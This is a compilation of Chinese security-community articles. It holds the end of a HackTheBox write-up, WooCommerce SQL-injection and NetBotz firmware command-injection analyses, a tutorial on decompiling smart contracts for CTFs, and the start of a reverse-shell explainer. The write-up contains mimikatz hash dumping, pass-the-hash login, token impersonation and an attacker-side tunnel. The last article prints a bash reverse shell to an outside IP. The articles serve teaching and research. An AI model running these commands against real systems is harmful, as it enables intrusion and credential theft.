PS C:> sc.exe start UsoSvc
反弹shell直接拿到system权限，但是最后一步查看`root.txt`竟然无法打开，查看权限
PS C:tmp> get-acl C:UsersAdministratorDesktoproot.txt|format-list
Path : Microsoft.PowerShell.CoreFileSystem::C:UsersAdministratorDesktoproot.txt
Owner : REcoby
Group : RENone
Access : NT AUTHORITYSYSTEM Allow FullControl
BUILTINAdministrators Allow FullControl
REAdministrator Allow FullControl
REcoby Allow FullControl
但是打不开，明明是有权限的
C:Windowssystem32>type C:UsersAdministratorDesktoproot.txt
Access is denied.
用以下命令修改权限后仍然打不开
cacls C:UsersAdministratorDesktoproot.txt /e /p system:f
## mimikatz dump（easy way）
留意到Administrator和coby都可以打开root.txt，何不尝试一下切换到其他用户。上传mimikatz，导出所有用户hash
privilege::debug
token::elevate
lsadump::sam
由于我们是system权限，轻松获取到其他用户的NTLM hash。
User : Administrator
Hash NTLM: caf97bbc4c410103485a3cf950496493
User : coby
Hash NTLM: fa88e03e41fdf7b707979c50d57c06cf
之前查看端口发现，靶机是有开放5985端口，不过有防火墙，所以端口扫描时并没有发现，而winrm是可以通过hash进行登录的。
然后用ew转发winrm的端口到本地
攻击端主机：
./ew_for_linux64 -s lcx_listen -l 5985 -e 23335
靶机：
ew.exe -s lcx_slave -d 10.10.14.220 -e 23335 -f 127.0.0.1 -g 5985
使用coby的hash可以登录并读到root.txt
root@kali:~/pentest/Re# evil-winrm -i 127.0.0.1 -u coby -H fa88e03e41fdf7b707979c50d57c06cf
Evil-WinRM shell v2.1
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:UserscobyDocuments> type C:UsersAdministratorDesktoproot.txt
1B4FB9xxxxxxxxxxxxxxxxxxxx8F7715D
## incognito（very easy way）
为何有权限却读不到flag呢？事后请教了一位外国友人，原来是因为文件被加密（EFS）了，因此即使有权限也是打不开的。使用cipher命令检查root.txt，看到文件被加密了，只有`Administrator`和`coby`可以解密。
PS C:UsersAdministratorDesktop> cipher /c root.txt
Listing C:UsersAdministratorDesktop
New files added to this directory will not be encrypted.
E root.txt
Compatibility Level:
Windows XP/Server 2003
Users who can decrypt:
REAdministrator [Administrator(Administrator@RE)]
Certificate thumbprint: E088 5900 BE20 19BE 6224 E5DE 3D97 E3B4 FD91 C95D
coby(coby@RE)
Certificate thumbprint: 415E E454 C45D 576D 59C9 A0C3 9F87 C010 5A82 87E0
No recovery certificate found.
Key information cannot be retrieved.
The specified file could not be decrypted.
这次使用msf进行，按照之前的步骤获取system之后马上执行之前放进去的后门反弹shell。
`meterpreter`里面`incognito`模块可以进行用户切换，这个方法比用mimikatz还要再简单一点。
meterpreter > load incognito # 用来盗窃目标主机的令牌或是假冒用户
Loading extension incognito...Success.
meterpreter > list_tokens -u # 列出目标主机用户的可用令牌
Delegation Tokens Available
========================================
Font Driver HostUMFD-0
Font Driver HostUMFD-1
IIS APPPOOLip
IIS APPPOOLre
IIS APPPOOLREblog
NT AUTHORITYIUSR
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
REcam
REcoby
REluke
Window ManagerDWM-1
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token "RE\coby"
[+] Delegation token available
[+] Successfully impersonated user REcoby
meterpreter > cat c:\users\administrator\desktop\root.txt
1B4FB9xxxxxxxxxxxxxxxxxxx8F7715D
至此渗透完毕
C:tmp>whoami /user
USER INFORMATION
----------------
User Name SID
========= =============================================
recoby S-1-5-21-311800348-2366743891-1978325779-1000
## 总结
这个box的渗透过程还是比较艰辛，获取到的每个用户权限都不是很大，需要理解自动脚本的运行过程和猜测脚本运行效果，即使知道漏洞利用方式还要进一步思考如何利用，即便是到最后拿system权限后，还需一顿操作才最终拿到flag。 | 社区文章 |
**作者：墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/mlLVIVM4bpQbOV8dVXaJSA>**
# **漏洞简述**
WooCommerce 一款基于 WordPress
的开源电子商务插件。时至今日已变成全球最流行的电商系统，它是为使用WordPress的小型或大型在线商人而设计的。该插件于2011年9月27日发布，以其易于安装和定制以及免费的基础产品而迅速流行。WooCommerce在WordPress拥有5百万+的用户量。
# **漏洞分析**
根据官方发布的安全更新通告来看，该漏洞影响了大概90多个版本的插件，然后去官方源码库查看代码提交记录，发现在
woocommerce/tags/5.3.1/packages/woocommerce-blocks/src/StoreApi/Utilities/ProductQueryFilters.php
存在sql注入点，在修复后，会调用
wc_sanitize_taxonomy_name
以及
esc_sql
来防止注入。
根据该文件的路径去反向推一下访问地址，首先全局搜索该逻辑所在的函数名
get_attribute_counts
在哪里进行了调用。
然后打开该文件
wp-content/plugins/woocommerce/packages/woocommerce-blocks/src/StoreApi/Routes/ProductCollectionData.php
发现当前文件中有
get_path()
方法，其所对应的就是接口的访问路径，然后拼接到url中即可，最终该文件的访问地址为：
http://wp.local:8888/wp-json/wc/store/products/collection-data
接着继续找漏洞调用点
get_attribute_counts
在哪里进行了调用，发现在
get_route_response
中对该漏洞函数进行了调用。
根据阅读代码发现，需要给定相对应的请求参数
calculate_attribute_counts
才会进入该判断，根据在
get_collection_params
中对
calculate_attribute_counts
参数的定义，可以直接反推出来访问的地址:
可以看到其接收的参数类型为数组类型，直接在上面反推出来的当前文件访问地址后面加数组访问参数即可给
$request['calculate_attribute_counts']
赋值.
http://wp.local:8888/wp-json/wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]=product_type
接下来就是构造poc了，在对官方修复的文件中的86行进行深入分析，
wp-content/plugins/woocommerce/packages/woocommerce-blocks/src/StoreApi/Utilities/ProductQueryFilters.php
对其调用的
wc_sanitize_taxonomy_name
函数进行查找,全局搜索发现存在的位置为:
wp-content/plugins/woocommerce/includes/wc-formatting-functions.php
其内容为：
/**
* Sanitize taxonomy names. Slug format (no spaces, lowercase).
* Urldecode is used to reverse munging of UTF8 characters.
*
* @param string $taxonomy Taxonomy name.
* @return string
*/
function wc_sanitize_taxonomy_name( $taxonomy ) {
return apply_filters( 'sanitize_taxonomy_name', urldecode( sanitize_title( urldecode( $taxonomy ) ) ), $taxonomy );
}
可以看到其返回的结果的核心是调用
sanitize_title
方法，该方法在官方解释如下，
在返回结果后，并未对结果进行二次处理，在下面直接调用sql语句拼接了进去，
发现其最终导致的问题点，其根本原因是自行封装的函数只调用了
sanitize_title
函数，该函数虽然能过滤一些字符，但是对于最终查询sql语句之前却未调用
esc_sql
函数，从而导致SQL注入。
# **时间线**
* 2021年7月13日WooCommerce接收到漏洞报送
* 2021年7月14日WooCommerce修复该漏洞
* 2021年7月15日WooCommerce官方发布文章通告
* 2021年7月15日VLab实验室监测到漏洞通告
* 2021年7月16日VLab实验室完成该漏洞复现
# **影响版本**
* WooCommerce(3.3-5.5.0)
* WooCommerce Blocks(2.5-5.5.0)
# **修复建议**
登录WordPress后台，将相关插件更新至最新版。
* * * | 社区文章 |
**作者：Murkf0x**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
厂商：Schnelder
涉及产品型号：NetBotz 750
固件版本：v5.2.0
#### 一、固件基本信息
* 设备简介：
* NetBotz 750用于从网络机柜到数据中心的性能安全和环保系统监测。从边缘网络到数据中心的监测、感应和环境监控 获取方式：固件可以通过官网直接下载，附件中也包含固件。 固件包文件名：NBRK075x_Build_5.2.0.3061.sedp
* 固件大小：
* 263927026 字节 (251 MiB)
* SHA256:
* E4A38B9ECABA04CDC88368A26C9150DBA7B8A08017F6DC06B4D03FC8F11863A9
* 固件文件分析：
* sedp后缀文件可直接使用zip方式解压即可获得相关系统镜像
#### 二、固件分析
固件包下载到本地后，发现后缀名为`sedp`，尝试解压，发现可以使用zip方式进行解压
`root.img`为文件系统镜像，使用`binwalk` 进行分析 获悉，该固件文件系统为 EXT3 可以直接使用 `binwalk` 解压
`/com` 以及 `/sun` 其中都是 java 的 class 文件 `ext-root` 为文件系统
通过`/etc/issue` 确定系统版本（大多数以linux为核心构建的工控固件系统都可以通过该文件确定系统版本）
Poky 说白了就是使用Yocto Project基于linux构建的一个定制系统。（Yocto Project
是一个开源协作项目，它提供了一些模板、工具和方法来支持面向嵌入式产品的自定义 Linux 系统，不管硬件架构是什么。）
查看 `/netbotz_app` 目录下文件，发现是WEB服务目录
先看一下这个根目录的`/start.sh` 通常来讲这样的启动脚本会告诉我们，应用运行过程中依赖有哪些组件。
我们注意到，netbotz 是一个java 应用，使用的数据库是`postgresql`，然而/opt/
这个目录压根就没有，所以有关这个数据库的配置信息以及数据库文件到底在哪里，是一个问题。继续往下分析
由此我们可以判断出，数据库开放端口以及用户名，但数据库用户名依然无从知晓。继续分析其他文件，由于此时关注点集中在数据库组件上，我们注意到了一个文件
`/upgradedb.sh`，这是一个用于更新数据库的脚本。
用户名和密码被我们找到了。
继续分析`/webapps/se-netbotz_app/`目录下的WEB服务
通常我们在分析java WEB应用时会先查看相关配置文件`/META-INF/META-INF.MF /WEB-INF/web.xml` META-INF
会保存程序入口以及程序版本等相关信息, 每个jar 都会有这个文件夹,里面的 MANIFEST文件 记录这些信息。
web.xml文件是我们开发Web程序的一项很重要的配置项，里面包含了我们各种各样的配置信息，比如欢迎页面，过滤器，监听器，启动加载级别等等。在服务器启动时，第一步便会加载项目的web.xml文件，然后通过其中的各种配置来启动项目。
探查其他，未发现有效信息。转而对该应用进行反编译。Java对包的命名相对来讲比较严格，通常，包的命名中就包含相关应用的信息。比如
包的命名中包含应用的名字`netbotz`，说明该包内所含代码与引用相关，通常来讲，不加后缀的包，为应用主程序。 由于程序未被加密，直接使用 `JD-gui` 加载jar包，找到应用入口类。
在props中也发现了数据库配置信息
并且，在包的命名中，公认的命名方式是
com/org.公司名.项目名.业务名全小写，因此我们可以判断出来jar包中所包含的各项功能的代码范围。当然，如果想要快速的审计某个漏洞的话，还需要关键词搜索，来定位相关demo。
比如说，我们可以尝试搜索一些执行系统命令的关键词
从代码中可以看出，这是一条被拼接出来的系统命令语句，用于操作ssl证书库的更新。其中
大概可以被我们操控（密码需要我们输入吧。目录需要我们指定吧）
从上述代码中可以看得出来，最终被拼接进系统命令的 `passwordStr` 是 从
`password`处获取到，而其中只不过执行了一个方法`==String.valueOf)()==`，这个方法只是一个数据类型转换，其作用是强制把其他数据类型转换成字符串，但这并不会对我们插入想执行的系统命令有所限制，`password`
则是 `changeit`这个字符串执行了 `toCharArray()` 方法得来，但 `toCharArry()`方法只是一个字符串转换成一个
`Character`型的字符数组，并且这里面的字符是原封不动的拿进去的，意思就是说，包含一切字符均转换成相应的字符数组。，也不会对我们的输入进行过滤。所以，只需要我们把这个密码改成一个命令注入语句，就可以实现命令注入。
同理我们找到设备HTTP 代理设置处
这条被拼接的系统命令执行中，`proxyUserPassword`也是我们可以操控的地方
通过上述代码，可以发现，`ProxyUserPassword`除了进行了空值校验外，也并没有进行任何过滤，是直接由`proxyUser + ":" +
proxyPassword + "@"`拼接成
而我们可以设置的用户名和密码，则是通过 ProxyConfig 类实例化得到
也并没有限制，所以我们至少可以通过自定义 username 值 来进行拼接执行命令。
当然，在进行命令注入挖掘过程中，如果没有全局的参数过滤，那基本就是全军覆没了，比如
这里执行的网络参数设置中，deviceName
也没有任何过滤。在相关应用开发过程中，应慎用系统命令执行，尤其是用户可控数据的拼接，如果用户所能控制的数据传入，使其通过恶意构造执行系统命令，后果不堪设想啊。
**PS ： 将漏洞反馈厂商后。厂商表示，所传输数据通过Rest_Api
进行处理，是进行了相关参数的过滤。但笔者并没有找到相关证据。厂商也正在对代码进行分析，也欢迎各位同好进行相关分析。**
* * * | 社区文章 |
# 零时科技 | 智能合约安全系列文章之反编译篇
### 前言
近年来，各个大型CTF（Capture The
Flag，中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式）比赛中都有了区块链攻防的身影，而且基本都是区块链智能合约攻防。本此系列文章我们也以智能合约攻防为中心，来刨析智能合约攻防的要点，包括合约反编译，CTF常见题型及解题思路，相信会给读者带来不一样的收获。由于CTF比赛中的智能合约源代码没有开源，所以就需要从EVM编译后的opcode进行逆向来得到源代码逻辑，之后根据反编译后的源代码编写攻击合约，最终拿到flag。
### 基础
本篇我们主要来讲智能合约opcode逆向，推荐的在线工具为Online Solidity
Decompiler。该网站逆向的优点比较明显，逆向后会得到合约反编译的伪代码和反汇编的字节码，并且会列出合约的所有函数签名（识别到的函数签名会直接给出，未识别到的会给出UNknown），使用方式为下图：
第一种方式是输入智能合约地址，并选择所在网络
第二钟方式是输入智能合约的opcode
逆向后的合约结果有两个，一种是反编译后的伪代码（偏向于逻辑代码，比较好理解），如下图
另一种是反汇编后的字节码（需要学习字节码相关知识，不容易理解）。
本次演示使用的工具有：
Remix（在线编辑器）：<https://remix.ethereum.org/>
Metamask（谷歌插件）：<https://metamask.io/>
Online Solidity Decompiler（逆向网站）：<https://ethervm.io/decompile/>
### 案例一
先来看一份简单的合约反编译，合约代码如下：
pragma solidity ^0.4.0;
contract Data {
uint De;
function set(uint x) public {
De = x;
}
function get() public constant returns (uint) {
return De;
}
}
编译后得到的opcode如下：
606060405260a18060106000396000f360606040526000357c01000000000000000000000000000000000000000000000000000000009004806360fe47b11460435780636d4ce63c14605d57603f565b6002565b34600257605b60048080359060200190919050506082565b005b34600257606c60048050506090565b6040518082815260200191505060405180910390f35b806000600050819055505b50565b60006000600050549050609e565b9056
利用在线逆向工具反编译后（相关伪代码的含义已在代码段中详细标注）：
contract Contract {
function main() {
//分配内存空间
memory[0x40:0x60] = 0x60;
//获取data值
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000;
//判断调用是否和set函数签名匹配，如果匹配，就继续执行
if (var0 != 0x60fe47b1) { goto label_0032; }
label_0043:
//表示不接受msg.value
if (msg.value) {
label_0002:
memory[0x40:0x60] = var0;
//获取data值
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000;
//判断调用是否和set函数签名匹配，如果匹配，就继续执行
// Dispatch table entry for set(uint256)
//这里可得知set传入的参数类型为uint256
if (var0 == 0x60fe47b1) { goto label_0043; }
label_0032:
//判断调用是否和get函数签名匹配，如果匹配，就继续执行
if (var0 != 0x6d4ce63c) { goto label_0002; }
//表示不接受msg.value
if (msg.value) { goto label_0002; }
var var1 = 0x6c;
//这里调用get函数
var1 = func_0090();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var1;
var temp1 = memory[0x40:0x60];
//if语句后有return表示有返回值，前四行代码都是这里的判断条件，这里返回值最终为var1
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else {
var1 = 0x5b;
//在这里传入的参数
var var2 = msg.data[0x04:0x24];
//调用get函数中var2参数
func_0082(var2);
stop();
}
}
//下面定义了两个函数，也就是网站列出的两个函数签名set和get
//这里函数传入一个参数
function func_0082(var arg0) {
//slot[0]=arg0 函数传进来的参数
storage[0x00] = arg0;
}
//全局变量标记: EVM将合约中的全局变量存放在一个叫Storage的键值对虚拟空间，
// 并且对不同的数据类型有对应的组织方法，存放方式为Storage[keccak256(add, 0x00)]。
// storage也可以理解成连续的数组，称为 `slot[]`，每个位置可以存放32字节的数据
//函数未传入参数，但有返回值
function func_0090() returns (var r0) {
//这里比较清楚，将上个函数传入的参数slot[0]的值赋值给var0
var var0 = storage[0x00];
return var0;
//最终返回 var0值
}
}
通过上面的伪代码可以得到两个函数set和get。set函数中，有明显的传参arg0，分析主函数main内容后，可得到该函数不接收以太币，并且传入的参数类型为uint256；get函数中，可明显看出未传入参数，但有返回值，也是不接收以太币，通过storage[0x00]的相关调用可以得到返回值为set函数中传入的参数。最终分析伪代码得到的源码如下：
contract AAA {
uint256 storage;
function set(uint256 a) {
storage = a;
}
function get() returns (uint256 storage) {
return storage;
}
}
相对而言，该合约反编译后的伪代码比较简单，只需要看反编译后的两个函数就可判断出合约逻辑，不过对于逻辑函数较复杂的合约，反编译后的伪代码就需要进一步判断主函数main()中的内容。
### 案例二
简单入门之后，我们直接来分析一道CTF智能合约的反编译代码
合约地址：<https://ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049f#code>
反编译后得到的合约函数签名及方法参数调用如下：
合约伪代码如下（ **相关伪代码的含义已在代码段中详细标注，标注为重点** ）：
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
//判断函数签名是否为4字节
// EVM里对函数的调用都是取`bytes4(keccak256(函数名(参数类型1,参数类型2))`传递的，即对函数签名做keccak256哈希后取前4字节
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
//取函数签名，前四个字节（函数签名四个字节表示为0xffffffff类型）
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x2e1a7d4d) {
// Dispatch table entry for withdraw(uint256)
var var1 = msg.value;
//表示不接受 `msg.value`
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00be;
var var2 = msg.data[0x04:0x24];
withdraw(var2);
//stop表示该函数无返回值
stop();
} else if (var0 == 0x66d16cc3) {
// Dispatch table entry for profit()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00d5;
profit();
stop();
} else if (var0 == 0x8c0320de) {
// Dispatch table entry for payforflag(string,string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0184;
var temp0 = msg.data[0x04:0x24] + 0x04;
var temp1 = msg.data[temp0:temp0 + 0x20];
var temp2 = memory[0x40:0x60];
memory[0x40:0x60] = temp2 + (temp1 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp2:temp2 + 0x20] = temp1;
memory[temp2 + 0x20:temp2 + 0x20 + temp1] = msg.data[temp0 + 0x20:temp0 + 0x20 + temp1];
var2 = temp2;
var temp3 = msg.data[0x24:0x44] + 0x04;
var temp4 = msg.data[temp3:temp3 + 0x20];
var temp5 = memory[0x40:0x60];
memory[0x40:0x60] = temp5 + (temp4 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp5:temp5 + 0x20] = temp4;
memory[temp5 + 0x20:temp5 + 0x20 + temp4] = msg.data[temp3 + 0x20:temp3 + 0x20 + temp4];
var var3 = temp5;
payforflag(var2, var3);
stop();
} else if (var0 == 0x9189fec1) {
// Dispatch table entry for guess(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01b1;
var2 = msg.data[0x04:0x24];
guess(var2);
stop();
} else if (var0 == 0xa5e9585f) {
// Dispatch table entry for xxx(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x01de;
var2 = msg.data[0x04:0x24];
xxx(var2);
stop();
} else if (var0 == 0xa9059cbb) {
// Dispatch table entry for transfer(address,uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x022b;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var3 = msg.data[0x24:0x44];
transfer(var2, var3);
stop();
} else if (var0 == 0xd41b6db6) {
// Dispatch table entry for level(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x026e;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = level(var2);
var temp6 = memory[0x40:0x60];
memory[temp6:temp6 + 0x20] = var2;
var temp7 = memory[0x40:0x60];
//return表示该函数有返回值
return memory[temp7:temp7 + (temp6 + 0x20) - temp7];
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x02c5;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
var temp8 = memory[0x40:0x60];
memory[temp8:temp8 + 0x20] = var2;
var temp9 = memory[0x40:0x60];
return memory[temp9:temp9 + (temp8 + 0x20) - temp9];
} else { revert(memory[0x00:0x00]); }
}
function withdraw(var arg0) {
//在函数签名处，已给出该函数传参类型为uint256，判断传入的参数arg0是否等于2，如果为2，则继续执行下面代码，否则退出
if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
//定义这个msg.sender的第一种类型，可通过balance函数判断出，这里为balance
memory[0x20:0x40] = 0x00;
//等同于require(arg0 <= balance[msg.sender])
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
var temp0 = arg0;
var temp1 = memory[0x40:0x60];
//将主要内容提取出来，可表示为address(msg.sender).call.gas(msg.gas).value(temp0 * 0x5af3107a4000)
memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0 * 0x5af3107a4000)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]);
//可写为storage[temp2] -= temp0, 由之前代码可知temp0=arg0，由前一句的temp2 = keccak256(memory[0x00:0x40]);向上推理可得知这里为msg.sender
storage[temp2] = storage[temp2] - temp0;
}
function profit() {
memory[0x00:0x20] = msg.sender;
//定义这个msg.sender为第二种类型，可通过level函数判断出，这里为level
memory[0x20:0x40] = 0x01;
//这里就等同于require(mapping2[msg.sender] == 0)
if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
//这里进行第一种类型balance的自加一，storage[arg0] += 1
storage[temp0] = storage[temp0] + 0x01;
memory[0x00:0x20] = msg.sender;
//启用第二个类型level进行后续运算
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
//这里进行第二种类型level的自加一，storage[0x80] += 1
storage[temp1] = storage[temp1] + 0x01;
}
//传入两个string类型的参数
function payforflag(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
//require(balance[msg.sender] >= 0x02540be400)
if (storage[keccak256(memory[0x00:0x40])] < 0x02540be400) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
//将第一个类型balance赋值为0，等同于balance[msg.sender] = 0
storage[keccak256(memory[0x00:0x40])] = 0x00;
var temp0 = address(address(this)).balance;
var temp1 = memory[0x40:0x60];
var temp2;
temp2, memory[temp1:temp1 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp0 * 0x08fc).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
var var0 = !temp2;
//传入一个uint256类型的参数
function guess(var arg0) {
if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); } //判断传入的参数是否和storage[0x03]值匹配，
memory[0x00:0x20] = msg.sender;
//启用第二个类型level进行后续运算
memory[0x20:0x40] = 0x01;
//判断require(mapping1[msg.sender] == 1)
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
//这里进行第一种类型balance的自加一，storage[0x80] += 1
storage[temp0] = storage[temp0] + 0x01;
memory[0x00:0x20] = msg.sender;
//启用第二个类型level进行后续运算
memory[0x20:0x40] = 0x01;
var temp1 = keccak256(memory[0x00:0x40]);
//这里进行第二种类型level的自加一，storage[0x80] += 1
storage[temp1] = storage[temp1] + 0x01;
}
function xxx(var arg0) {
//storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff 表示storage[0x02]为一个地址类型
//判断调用者发起人的地址是否为匹配
if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
//将传入的uint256数值赋值给storage[0x03]
storage[0x03] = arg0;
}
//传入两个参数分别为address和uint256
function transfer(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
//这里为require(balance[msg.sender] >= arg1)
if (storage[keccak256(memory[0x00:0x40])] < arg1) { revert(memory[0x00:0x00]); }
//判断arg1是否等于2，require(arg1 == 2)
if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
//启用第二个类型level进行后续运算
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); } //判断条件，为require(level[msg.sender] == 2)
memory[0x00:0x20] = msg.sender;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
//赋值操作：balance[msg.sender] = 0
storage[keccak256(memory[0x00:0x40])] = 0x00;
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
//启用第一个类型balance进行后续运算
memory[0x20:0x40] = 0x00;
//balance[address] = arg1
storage[keccak256(memory[0x00:0x40])] = arg1;
}
function level(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
}
通过分析上面经过详细标注的反编译伪代码，我们写出合约源码：
contract babybank {
address owner;
uint secret;
event sendflag(string base1,string base2);
constructor()public{
owner = msg.sender;
}
function payforflag(string base1,string base2) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(base1,base2);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
balance[msg.sender] -= amount;
}
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
该反编译合约中，需要判断分析的点为合约中的逻辑函数和主函数main()的相关判断。逻辑函数（withdraw，profit，payforflag，guess，xxx，transfer）中和主函数main()需要关注的点为：
* memory[0x20:0x40] = 0x00和memory[0x20:0x40] = 0x01分别代表balance和level
* if (arg1 != 0x02) { revert(memory[0x00:0x00]); }代表require(arg1 == 2)，其他条件判断与此相似
* if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); } 表示为require(msg.sender == owner)
* storage[temp1] = storage[temp1] + 0x01;表示为level[msg.sender] += 1;
* if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); } //判断函数签名是否为4字节
* var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff; //取函数签名，前四个字节（函数签名四个字节表示为0xffffffff类型） ，EVM里对函数的调用都是取`bytes4(keccak256(函数名(参数类型1,参数类型2))`传递的，即对函数签名做keccak256哈希后取前4字节
* if (var1) { revert(memory[0x00:0x00]); } //表示不接受 `msg.value`
* stop(); //stop表示该函数无返回值
* return memory[temp7:temp7 + (temp6 + 0x20) - temp7]; //return表示该函数有返回值
### 总结
本篇主要分享的内容为，通过在线网站反编译智能合约opcode的一种方法，比较适合新手学习，下一篇我们会继续分享逆向智能合约的反汇编手法，希望对读者有所帮助。 | 社区文章 |
# 【技术分享】Linux渗透之反弹Shell命令解析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[派大星](http://bobao.360.cn/member/contribute?uid=1009682630)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
当我们在渗透Linux主机时，反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux
反弹shell”，会出现一大堆相关文章，但是其内容不但雷同，而且都仅仅是告诉我们执行这个命令就可以反弹shell了，却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普，那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。
**Bash**
这篇文章的起因就是网上给的Bash反弹shell的实现：
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
看到这短短的一行代码，正在复习Linux，自我感觉良好的我顿时充满了挫败感，这都是些什么鬼。于是决定一定要搞明白它。
首先，bash -i是打开一个交互的bash，这个最简单。我们先跳过“>&”和“0>&1”，这两个是本文重点，等会再说。先来说“/dev/tcp/”。
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用，建立一个socket连接，读写这个文件就相当于在这个socket连接中传输数据。同理，Linux中还存在/dev/udp/。
要想了解“>&”和“0>&1”，首先我们要先了解一下Linux文件描述符和重定向。
linux shell下常用的文件描述符是：
1\. 标准输入 (stdin) ：代码为 0 ，使用 < 或 << ；
2\. 标准输出 (stdout)：代码为 1 ，使用 > 或 >> ；
3\. 标准错误输出(stderr)：代码为 2 ，使用 2> 或 2>>。
很多资料都会告诉我们，2>&1是将标准错误输出合并到标准输出中，但是这四个符号具体要如何理解呢？我刚开始直接将2>看做标准错误输出，将&看做and，将1看做标准输出。这样理解好像也挺对，但是如果是这样的话0>&1又该如何理解呢？
其实&根本就不是and的意思，学过C/C++的都知道，在这两门语言里，&是取地址符。在这里，我们也可以将它理解为取地址符。
